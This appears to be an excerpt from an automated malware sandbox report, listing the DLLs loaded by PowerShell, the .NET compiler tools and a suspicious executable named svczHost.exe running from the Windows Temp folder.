Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: icu.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winhttp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: mswsock.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: wshunix.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winrnr.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: nlaapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: napinsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: wshbth.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: devobj.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winnsi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: sspicli.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: schannel.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: msasn1.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: gpapi.dll
